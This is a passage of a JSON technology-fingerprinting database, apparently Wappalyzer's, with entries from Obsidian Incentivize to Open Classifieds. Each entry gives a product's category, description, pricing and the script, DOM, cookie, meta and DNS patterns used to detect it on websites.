\"https://oatpp.io\"\n  },\n  \"Obsidian Incentivize\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"Obsidian Incentivize is designed to increase your average order size through in-cart upsells, cross sells and personalised product recommendations.\",\n    \"icon\": \"Obsidian.png\",\n    \"js\": {\n      \"Obsidian.IncentiveApi\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"freemium\"\n    ],\n    \"requires\": [\n      \"Shopify\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.shopify\\\\.com/extensions/.+/([\\\\.\\\\d]{3,})/assets/upsell\\\\.min\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://obsidianapps.co\"\n  },\n  \"Obsidian Publish\": {\n    \"cats\": [\n      4\n    ],\n    \"description\": \"Obsidian Publish is an official, paid plugin for Obsidian that allows users to post selected notes to a directory on the publish.obsidian.md domain.\",\n    \"icon\": \"Obsidian Publish.svg\",\n    \"implies\": [\n      \"Prism\",\n      \"PIXIjs\"\n    ],\n    \"js\": {\n      \"siteInfo.host\": \"\\\\.obsidian\\\\.md\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://obsidian.md/publish\"\n  },\n  \"Obviyo\": {\n    \"cats\": [\n      100,\n      76\n    ],\n    \"description\": \"Obviyo is an ecommerce intelligence platform helping merchants personalise and optimise shopping experience.\",\n    \"icon\": \"Obviyo.svg\",\n    \"js\": {\n      \"__hic.version\": \"([\\\\d.]+)\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"Shopify\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"deploy\\\\.hiconversion\\\\.com\"\n    ],\n    \"website\": \"https://www.obviyo.com\"\n  },\n  \"Occasion\": {\n    \"cats\": [\n      72\n    ],\n    \"description\": \"Occasion is an online booking system.\",\n    \"dom\": [\n      \"iframe[src*='app.getoccasion.com']\",\n      \"a[href*='app.getoccasion.com']\"\n    ],\n    \"icon\": \"Occasion.svg\",\n    \"js\": {\n      \"OCCSN.stack\": \"\",\n      \"occsnMerchantToken\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"payg\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.getoccasion\\\\.com\"\n    ],\n    \"website\": \"https://www.getoccasion.com\"\n  },\n  \"Ocea\": {\n    \"cats\": [\n      62\n    ],\n    \"description\": \"Ocea is a web service facilitating website and app creation, leveraging cloud infrastructure.\",\n    \"dom\": [\n      \"link[href*='.ocea.app/']\"\n    ],\n    \"icon\": \"Ocea.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://ocea.app\"\n  },\n  \"OceanWP\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"OceanWP is a fast-loading WordPress theme that has great support for third-party plugins and drag-and-drop page builders.\",\n    \"dom\": {\n      \"body[class*='oceanwp-theme']\": {\n        \"text\": \"\"\n      },\n      \"link[id*='oceanwp']\": {\n        \"attributes\": {\n          \"href\": \"oceanwp\\\\S*\\\\.css(?:\\\\?ver=([0-9.]+))?\\\\;version:\\\\1\"\n        }\n      }\n    },\n    \"icon\": \"OceanWP.png\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"themes/oceanwp\\\\S*\\\\.js(?:\\\\?ver=([0-9.]+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://oceanwp.org\"\n  },\n  \"Ochanoko\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Ochanoko is a ecommerce online shopping cart solutions, ecommerce web site hosting.\",\n    \"icon\": \"Ochanoko.svg\",\n    \"js\": {\n      \"ocnkProducts\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"ocnk-min\\\\.js\"\n    ],\n    \"website\": \"https://www.ocnk.com\"\n  },\n  \"Oct8ne\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Oct8ne is a visual customer service software.\",\n    \"icon\": \"Oct8ne.svg\",\n    \"js\": {\n      \"oct8ne.agentsAvailable\": \"\",\n      \"oct8neApi\": \"\",\n      \"oct8neVars.pluginVersion\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.oct8ne\\\\.com/\"\n    ],\n    \"website\": \"https://oct8ne.com\"\n  },\n  \"Octane AI\": {\n    \"cats\": [\n      5,\n      52\n    ],\n    \"description\": \"Octane AI provides an all-in-one platform for engaging quizzes, data collection, and personalised Facebook Messenger and SMS automation.\",\n    \"icon\": \"Octane AI.svg\",\n    \"js\": {\n      \"OctaneConfig\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.octaneai\\\\.com/\"\n    ],\n    \"website\": \"https://www.octaneai.com\"\n  },\n  \"Octipulse\": {\n    \"cats\": [\n      96\n    ],\n    \"description\": \"Octipulse is a platform that helps businesses manage and publish tailored content across digital platforms, enabling them to create a personalised cross-channel experience.\",\n    \"icon\": \"Octipulse.svg\",\n    \"meta\": {\n      \"generator\": \"^OCTIPULSE$\"\n    },\n    \"saas\": true,\n    \"website\": \"https://www.octipulse.com\"\n  },\n  \"October CMS\": {\n    \"cats\": [\n      1\n    ],\n    \"cookies\": {\n      \"october_session\": \"\"\n    },\n    \"description\": \"October is a free, open-source, self-hosted CMS platform based on the Laravel PHP Framework.\",\n    \"icon\": \"October CMS.svg\",\n    \"implies\": [\n      \"Laravel\"\n    ],\n    \"js\": {\n      \"ocJSON\": \"\"\n    },\n    \"meta\": {\n      \"generator\": \"OctoberCMS\"\n    },\n    \"oss\": true,\n    \"website\": \"https://octobercms.com\"\n  },\n  \"Octopress\": {\n    \"cats\": [\n      57\n    ],\n    \"description\": \"Octopress is a static blogging framework.\",\n    \"html\": [\n      \"Powered by <a href=\\\"http://octopress\\\\.org\\\">\"\n    ],\n    \"icon\": \"octopress.png\",\n    \"implies\": [\n      \"Jekyll\"\n    ],\n    \"meta\": {\n      \"generator\": \"Octopress\"\n    },\n    \"scriptSrc\": [\n      \"/octopress\\\\.js\"\n    ],\n    \"website\": \"https://octopress.org\"\n  },\n  \"Octorate\": {\n    \"cats\": [\n      93\n    ],\n    \"description\": \"Octorate is a hotel booking system and channel manager, facilitating management of reservations across various platforms.\",\n    \"icon\": \"Octorate.svg\",\n    \"js\": {\n      \"octorate\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.octorate\\\\.com/\"\n    ],\n    \"website\": \"https://octorate.com\"\n  },\n  \"Ocuco FitMix\": {\n    \"cats\": [\n      105\n    ],\n    \"description\": \"Ocuco is now offering its customers FittingBox's FitMix, a virtual frame try-on tool.\",\n    \"icon\": \"Ocuco.png\",\n    \"js\": {\n      \"FitMix.WIDGET_BASE_URL\": \"static\\\\.fittingbox\\\\.com\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.ocuco.com/fitmix\"\n  },\n  \"Ocular\": {\n    \"cats\": [\n      103\n    ],\n    \"description\": \"Ocular is a video ecommerce and live commerce platform facilitating transactions and shopping experiences through live broadcasts and interactive features.\",\n    \"icon\": \"Ocular.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"widget\\\\.ocularsolution\\\\.com/\"\n    ],\n    \"website\": \"https://ocularsolution.com/\"\n  },\n  \"Oculizm\": {\n    \"cats\": [\n      90\n    ],\n    \"description\": \"Oculizm is a conversion optimization tool that utilizes user-generated content and customer reviews to enhance consumer trust for retailers, resulting in increased sales and engagement.\",\n    \"icon\": \"Oculizm.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.oculizm\\\\.com/\"\n    ],\n    \"website\": \"https://oculizm.com\"\n  },\n  \"Oddcast\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Oddcast is a platform that develops customized video and avatar-based marketing products tailored for small and medium-sized businesses and consumers.\",\n    \"icon\": \"Oddcast.svg\",\n    \"js\": {\n      \"ODDCAST_HTTP_SERVER\": \"\",\n      \"OddcastDomain\": \"\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.oddcast\\\\.com/\"\n    ],\n    \"website\": \"https://oddcast.com\"\n  },\n  \"Oddle\": {\n    \"cats\": [\n      93\n    ],\n    \"cookies\": {\n      \"enableOddlePass\": \"\"\n    },\n    \"description\": \"Oddle is an online ordering system designed to streamline restaurant operations.\",\n    \"icon\": \"Oddle.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"oddle-pass-wrapper\\\\.s3\\\\.ap-southeast-1\"\n    ],\n    \"website\": \"https://oddle.me\"\n  },\n  \"Odeum\": {\n    \"cats\": [\n      38\n    ],\n    \"description\": \"Odeum is a SaaS platform for creating a video-based subscription service including a completely branded website & set of apps.\",\n    \"icon\": \"Odeum.svg\",\n    \"js\": {\n      \"OdeumAccount\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://odeum.io\"\n  },\n  \"Odoo\": {\n    \"cats\": [\n      1\n    ],\n    \"cpe\": \"cpe:2.3:a:odoo:odoo:*:*:*:*:*:*:*:*\",\n    \"description\": \"Odoo is business management software which includes CRM, ecommerce, billing, accounting, manufacturing, warehouse, project management, and inventory management.\",\n    \"html\": [\n      \"<link[^>]* href=[^>]+/web/css/(?:web\\\\.assets_common/|website\\\\.assets_frontend/)\\\\;confidence:25\"\n    ],\n    \"icon\": \"Odoo.svg\",\n    \"implies\": [\n      \"Python\",\n      \"PostgreSQL\",\n      \"Less\"\n    ],\n    \"js\": {\n      \"odoo.csrf_token\": \"\",\n      \"odoo.session_info\": \"\"\n    },\n    \"meta\": {\n      \"generator\": \"Odoo\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"/web/js/(?:web\\\\.assets_common/|website\\\\.assets_frontend/)\\\\;confidence:25\"\n    ],\n    \"website\": \"https://odoo.com\"\n  },\n  \"Offline.js\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Offline.js is a library that automatically alerts users when they have lost internet connectivity.\",\n    \"icon\": \"HubSpot.svg\",\n    \"js\": {\n      \"Offline.confirmDown\": \"\",\n      \"Offline.state\": \"\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"/(?:bundles/[^/]+|assets/javascripts|js)/offline\\\\.min\\\\.js\"\n    ],\n    \"website\": \"https://github.hubspot.com/offline/docs/welcome\"\n  },\n  \"Oh Dear\": {\n    \"cats\": [\n      13\n    ],\n    \"description\": \"The all-in-one monitoring tool for your entire website. Oh Dear monitors uptime, SSL certificates, broken links, scheduled tasks, application health, DNS, domain expiry and more.\",\n    \"icon\": \"Oh Dear.svg\",\n    \"js\": {\n      \"__NEXT_DATA__.props.pageProps.config.userAgent\": \"OhDear\\\\.app\"\n    },\n    \"pricing\": [\n      \"payg\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.ohdear\\\\.app/\"\n    ],\n    \"website\": \"https://ohdear.app\"\n  },\n  \"OkMenu\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"OkMenu is a provider of an all-in-one restaurant QR menu.\",\n    \"dom\": [\n      \"div#__okmenu__\"\n    ],\n    \"icon\": \"OkMenu.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\",\n      \"onetime\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://oktabletmenu.com\"\n  },\n  \"Okendo\": {\n    \"cats\": [\n      90,\n      100\n    ],\n    \"description\": \"Okendo is a customer marketing platform with product ratings and reviews, customer photos and videos to help personalise experiences.\",\n    \"dom\": {\n      \"div.okeReviews\": {\n        \"attributes\": {\n          \"data-oke-reviews-version\": \"^([\\\\d.]+)$\\\\;version:\\\\1\"\n        }\n      }\n    },\n    \"icon\": \"Okendo.svg\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"js\": {\n      \"okeReviewsWidgetOnInit\": \"\",\n      \"okeWidgetControlInit\": \"\",\n      \"okendoReviews\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.okendo.io\"\n  },\n  \"Okta\": {\n    \"cats\": [\n      69\n    ],\n    \"cpe\": \"cpe:2.3:a:okta:*:*:*:*:*:*:*:*:*\",\n    \"description\": \"Okta is a platform in the Identity-as-a-Service (IDaaS) category. Okta features include Provisioning, Single Sign-On (SSO), Active Directory (AD) and LDAP integration, the centralized de-provisioning of users, multi-factor authentication (MFA), mobile identity management.\",\n    \"icon\": \"Okta.svg\",\n    \"js\": {\n      \"OktaAuth\": \"\",\n      \"isOktaEnabled\": \"\",\n      \"okta.cdnUrlHostname\": \"\",\n      \"okta.locale\": \"\",\n      \"oktaCurrentSessionUrl\": \"\"\n    },\n    \"pricing\": [\n      \"poa\",\n      \"freemium\",\n      \"recurring\"\n    ],\n    \"scriptSrc\": [\n      \"oktacdn\\\\.com/.+/([\\\\d.]+)/\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://developer.okta.com\"\n  },\n  \"Olapic\": {\n    \"cats\": [\n      96\n    ],\n    \"description\": \"Olapic is a content marketing tool specifically focused on visual marketing content.\",\n    \"icon\": \"Olapic.svg\",\n    \"js\": {\n      \"olapic\": \"\",\n      \"olapic.version\": \"^v([\\\\d\\\\.]+)$\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"poa\",\n      \"high\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.olapic.com\"\n  },\n  \"Olark\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Olark is a cloud-based live chat solution.\",\n    \"icon\": \"Olark.png\",\n    \"js\": {\n      \"olark\": \"\",\n      \"olarkUserData\": \"\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.olark\\\\.com/\"\n    ],\n    \"website\": \"https://www.olark.com/\"\n  },\n  \"Omeda\": {\n    \"cats\": [\n      86,\n      97\n    ],\n    \"description\": \"Omeda is a platform that enables the creation of new products by starting with accurate audience segmentation and targeting.\",\n    \"icon\": \"Omeda.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"olytics\\\\.omeda\\\\.com/\"\n    ],\n    \"website\": \"https://www.omeda.com\"\n  },\n  \"Omeka\": {\n    \"cats\": [\n      1\n    ],\n    \"cpe\": \"cpe:2.3:a:omeka:omeka:*:*:*:*:*:*:*:*\",\n    \"description\": \"Omeka is a free Content Management System (CMS) used by archives, historical societies, libraries, museums, and individual researchers for publishing digital collections.\",\n    \"dom\": [\n      \"link[rel*='stylesheet'][href*='css/myomeka.css'], link[rel*='stylesheet'][href*='/omeka/plugins/'], footer > p > a[href*='//omeka.org']\"\n    ],\n    \"icon\": \"Omeka.svg\",\n    \"js\": {\n      \"Omeka\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://omeka.org\"\n  },\n  \"Ometria\": {\n    \"cats\": [\n      32,\n      97\n    ],\n    \"cookies\": {\n      \"ometria\": \"\"\n    },\n    \"description\": \"Ometria is a customer insight and marketing automation platform.\",\n    \"dom\": [\n      \"form[action*='api.ometria.com']\"\n    ],\n    \"icon\": \"Ometria.svg\",\n    \"js\": {\n      \"AddOmetriaBasket\": \"\",\n      \"AddOmetriaIdentify\": \"\",\n      \"ometria\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.ometria\\\\.com\"\n    ],\n    \"website\": \"https://ometria.com\"\n  },\n  \"Omise\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"Omise is a payment gateway for Thailand, Japan and Singapore. Providing both online and offline payment solutions to merchants.\",\n    \"icon\": \"Omise.svg\",\n    \"js\": {\n      \"Omise\": \"\",\n      \"OmiseCard\": \"\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"scriptSrc\": [\n      \"cdn\\\\.omise\\\\.co\"\n    ],\n    \"website\": \"https://www.omise.co\"\n  },\n  \"Omni CMS\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Omni CMS (formerly OU Campus) is a web content management system developed by Modern Campus. Modern Campus is a SaaS-based student lifecycle management software designed to manage continuing education and non-degree programs.\",\n    \"dom\": [\n      \"a[href*='a.cms.omniupdate.com/11/']\"\n    ],\n    \"icon\": \"Modern Campus.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://moderncampus.com/products/web-content-management.html\"\n  },\n  \"Omniconvert\": {\n    \"cats\": [\n      74\n    ],\n    \"description\": \"Omniconvert is an award-winning conversion rate optimisation (CRO) software that can be used for A/B testing, online surveys, traffic segmentation.\",\n    \"dom\": [\n      \"link[href*='app.omniconvert.com']\"\n    ],\n    \"icon\": \"Omniconvert.svg\",\n    \"js\": {\n      \"_omni\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"scriptSrc\": [\n      \"cdn\\\\.omniconvert\\\\.com\"\n    ],\n    \"website\": \"https://www.omniconvert.com\"\n  },\n  \"Omnikick\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Omnikick is a platform designed to help businesses engage, convert, and grow their customer base through targeted digital marketing strategies.\",\n    \"icon\": \"Omnikick.svg\",\n    \"js\": {\n      \"omniKick.ready\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.omnikick.com\"\n  },\n  \"Omnisend\": {\n    \"cats\": [\n      32,\n      75\n    ],\n    \"cookies\": {\n      \"omnisendSessionID\": \"\"\n    },\n    \"description\": \"Omnisend is an ecommerce marketing automation platform that provides an omnichannel marketing strategy for businesses.\",\n    \"icon\": \"Omnisend.svg\",\n    \"js\": {\n      \"_omnisend\": \"\"\n    },\n    \"meta\": {\n      \"omnisend-site-verification\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"freemium\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"omnisrc\\\\.com\"\n    ],\n    \"website\": \"https://www.omnisend.com\"\n  },\n  \"Omnisend Email Marketing & SMS\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"Omnisend Email Marketing & SMS is an omnichannel marketing automation channel that allows Shopify store owners to manage their SMS, web push notifications, WhatsApp, Facebook messenger, pop-ups, segmentation, and dynamic Facebook and Google ad integrations.\",\n    \"icon\": \"Omnisend.svg\",\n    \"implies\": [\n      \"Omnisend\"\n    ],\n    \"pricing\": [\n      \"low\",\n      \"freemium\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"Shopify\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"omnis(?:nippet1|rc)\\\\.com/inShop/Embed/shopify\\\\.js\"\n    ],\n    \"website\": \"https://apps.shopify.com/omnisend\"\n  },\n  \"Omny Studio\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"Omny Studio is a podcast hosting solution, which enables radio stations and enterprises to manage, monetize, publish, share, edit and analyze audio episodes.\",\n    \"dom\": [\n      \"iframe[src*='//omny.fm/shows/']\"\n    ],\n    \"icon\": \"Omny Studio.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://omnystudio.com\"\n  },\n  \"Omurga Sistemi\": {\n    \"cats\": [\n      1\n    ],\n    \"icon\": \"Omurga Sistemi.svg\",\n    \"implies\": [\n      \"MySQL\",\n      \"PHP\"\n    ],\n    \"meta\": {\n      \"generator\": \"^OS-Omurga Sistemi\"\n    },\n    \"pricing\": [\n      \"poa\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.os.com.tr\"\n  },\n  \"OnShop\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"OnShop is an ecommerce platform for online merchants.\",\n    \"dom\": [\n      \"link[href*='cdn.onshop.asia/']\"\n    ],\n    \"excludes\": [\n      \"OpenCart\"\n    ],\n    \"icon\": \"Onshop.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"meta\": {\n      \"generator\": \"Onshop Ecommerce\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://onshop.asia\"\n  },\n  \"OnUniverse\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"OnUniverse is the first website builder and commerce platform built for mobile devices.\",\n    \"dom\": [\n      \"link[href*='onuniverse-assets.imgix.net'], img[src*='onuniverse-assets.imgix.net']\"\n    ],\n    \"icon\": \"OnUniverse.png\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://onuniverse.com\"\n  },\n  \"One.com\": {\n    \"cats\": [\n      88\n    ],\n    \"description\": \"One.com is a Denmark-based company offering bargain-priced WordPress and shared web hosting plans.\",\n    \"dns\": {\n      \"SOA\": \"ns\\\\d+\\\\.one\\\\.com\"\n    },\n    \"icon\": \"One.com.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"website\": \"https://www.one.com\"\n  },\n  \"OneAPM\": {\n    \"cats\": [\n      92\n    ],\n    \"description\": \"OneAPM is a platform providing end-to-end application performance management solutions, including real-time monitoring, anomaly detection, and data analysis for optimizing IT operations.\",\n    \"icon\": \"OneAPM.svg\",\n    \"js\": {\n      \"BWEUM\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.oneapm.com\"\n  },\n  \"OneAll\": {\n    \"cats\": [\n      69\n    ],\n    \"description\": \"OneAll is a social login solution enables your users to sign into their accounts on your website or mobile app using their login details from networking sites.\",\n    \"icon\": \"OneAll.svg\",\n    \"js\": {\n      \"oa_social_login\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"api\\\\.oneall\\\\.com/socialize\"\n    ],\n    \"website\": \"https://www.oneall.com\"\n  },\n  \"OneCause\": {\n    \"cats\": [\n      111\n    ],\n    \"description\": \"OneCause is a fundraising platform designed for nonprofits to manage all types of fundraising campaigns.\",\n    \"dom\": [\n      \"a[href*='.onecause.com/'][target='_blank']\"\n    ],\n    \"icon\": \"OneCause.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.onecause\\\\.com/\"\n    ],\n    \"website\": \"https://www.onecause.com\"\n  },\n  \"OnePage Express\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"OnePage Express is a beautiful WordPress theme that can be used to create a one page website in minutes by drag and drop.\",\n    \"dom\": [\n      \"link#one-page-express-style-css\"\n    ],\n    \"icon\": \"ExtendThemes.svg\",\n    \"js\": {\n      \"one_page_express_settings\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/one-page-express(?:-pro)?/\"\n    ],\n    \"website\": \"https://onepageexpress.com\"\n  },\n  \"OnePress Social Locker\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"Social Locker locks your most valuable site content behind a set of social buttons until the visitor likes, shares, +1s or tweets your page.\",\n    \"icon\": \"OnePress Social Locker.png\",\n    \"js\": {\n      \"__pandalockers\": \"\",\n      \"bizpanda\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/social-?locker(?:-next-premium)?/bizpanda/assets/\"\n    ],\n    \"website\": \"https://wordpress.org/plugins/social-locker\"\n  },\n  \"OneSignal\": {\n    \"cats\": [\n      32,\n      74\n    ],\n    \"description\": \"OneSignal is a customer engagement messaging solution.\",\n    \"icon\": \"OneSignal.svg\",\n    \"js\": {\n      \"OneSignal\": \"\",\n      \"__oneSignalSdkLoadCount\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"freemium\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.onesignal\\\\.com\"\n    ],\n    \"website\": \"https://onesignal.com\"\n  },\n  \"OneStat\": {\n    \"cats\": [\n      10\n    ],\n    \"icon\": \"OneStat.png\",\n    \"js\": {\n      \"OneStat_Pageview\": \"\"\n    },\n    \"website\": \"https://www.onestat.com\"\n  },\n  \"OneTag\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"OneTag is an advertizing platform that automates the buying and selling of online ad space.\",\n    \"dom\": [\n      \"link[href*='.s-onetag.com']\"\n    ],\n    \"icon\": \"OneTag.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"signal-beacon\\\\.s-onetag\\\\.com/\"\n    ],\n    \"website\": \"https://onetag.com\"\n  },\n  \"OneTrust\": {\n    \"cats\": [\n      67\n    ],\n    \"cookies\": {\n      \"OptanonConsent\": \"\"\n    },\n    \"description\": \"OneTrust is a cloud-based data privacy management compliance platform.\",\n    \"dns\": {\n      \"TXT\": \"onetrust-domain-verification=\"\n    },\n    \"icon\": \"OneTrust.svg\",\n    \"scriptSrc\": [\n      \"cdn\\\\.cookielaw\\\\.org\",\n      \"optanon\\\\.blob\\\\.core\\\\.windows\\\\.net\",\n      \"otSDKStub\\\\.js\",\n      \"cdn\\\\.cookielaw\\\\.org\",\n      \"optanon\\\\.blob\\\\.core\\\\.windows\\\\.net\"\n    ],\n    \"website\": \"https://www.onetrust.com\"\n  },\n  \"Oney\": {\n    \"cats\": [\n      91\n    ],\n    \"description\": \"Oney is an app that gives consumers back the power over their spending and makes split payments universal.\",\n    \"icon\": \"Oney.svg\",\n    \"js\": {\n      \"OneyMarketplace\": \"\",\n      \"isOneyActive\": \"\",\n      \"openOneyLayer\": \"\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"requiresCategory\": [\n      6\n    ],\n    \"scriptSrc\": [\n      \"/modules/oney(?:/)?/views/js/front\\\\.js\"\n    ],\n    \"website\": \"https://www.oney.com\"\n  },\n  \"Onfido\": {\n    \"cats\": [\n      16,\n      69\n    ],\n    \"description\": \"Onfido is a technology company that helps businesses verify people's identities using a photo-based identity document, a selfie and artificial intelligence algorithms.\",\n    \"dom\": [\n      \"link[href*='.onfido.com'], iframe[src*='onfido.com']\"\n    ],\n    \"headers\": {\n      \"content-security-policy\": \"(?:api|sync)\\\\.onfido\\\\.com\"\n    },\n    \"icon\": \"Onfido.svg\",\n    \"pricing\": [\n      \"payg\",\n      \"recurring\",\n      \"mid\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://onfido.com\"\n  },\n  \"Onlim\": {\n    \"cats\": [\n      52,\n      53\n    ],\n    \"description\": \"Onlim is a software platform designed for chatbots, social media management, and intelligent personal assistants.\",\n    \"icon\": \"Onlim.svg\",\n    \"js\": {\n      \"Onlim\": \"\",\n      \"OnlimChatbot\": \"\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.onlim\\\\.com/\"\n    ],\n    \"website\": \"https://onlim.com\"\n  },\n  \"Ookla Speedtest Custom\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"Speedtest Custom is a robust and accurate testing solution that is HTML5-based, Flash-free and supports both mobile and desktop browsers built by Ookla.\",\n    \"dom\": [\n      \"iframe[src*='.speedtestcustom.com'], a[href*='.speedtestcustom.com']\"\n    ],\n    \"headers\": {\n      \"content-security-policy\": \"\\\\.speedtestcustom\\\\.com\"\n    },\n    \"icon\": \"Ookla.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.speedtestcustom\\\\.com/\"\n    ],\n    \"website\": \"https://www.ookla.com/speedtest-custom\"\n  },\n  \"Oopy\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"Oopy provides you with a simple and easy way to turn your Notion page into a performant website.\",\n    \"icon\": \"Oopy.svg\",\n    \"implies\": [\n      \"Notion\",\n      \"Next.js\"\n    ],\n    \"js\": {\n      \"__OOPY__\": \"\"\n    },\n    \"oss\": false,\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://oopy.us/\"\n  },\n  \"Open AdStream\": {\n    \"cats\": [\n      36\n    ],\n    \"icon\": \"Open AdStream.svg\",\n    \"js\": {\n      \"OAS_AD\": \"\"\n    },\n    \"website\": \"https://www.xaxis.com\"\n  },\n  \"Open Classifieds\": {\n    \"cats\": [\n      6\n    ],\n    \"cpe\": \"cpe:2.3:a:open-classifieds:open_classifieds:*:*:*:*:*:*:*:*\",\n    \"icon\": \"Open Classifieds.png\",\n    \"meta\": {\n      \"author\": \"open-classifieds\\\\.com\",\n      \"copyright\": 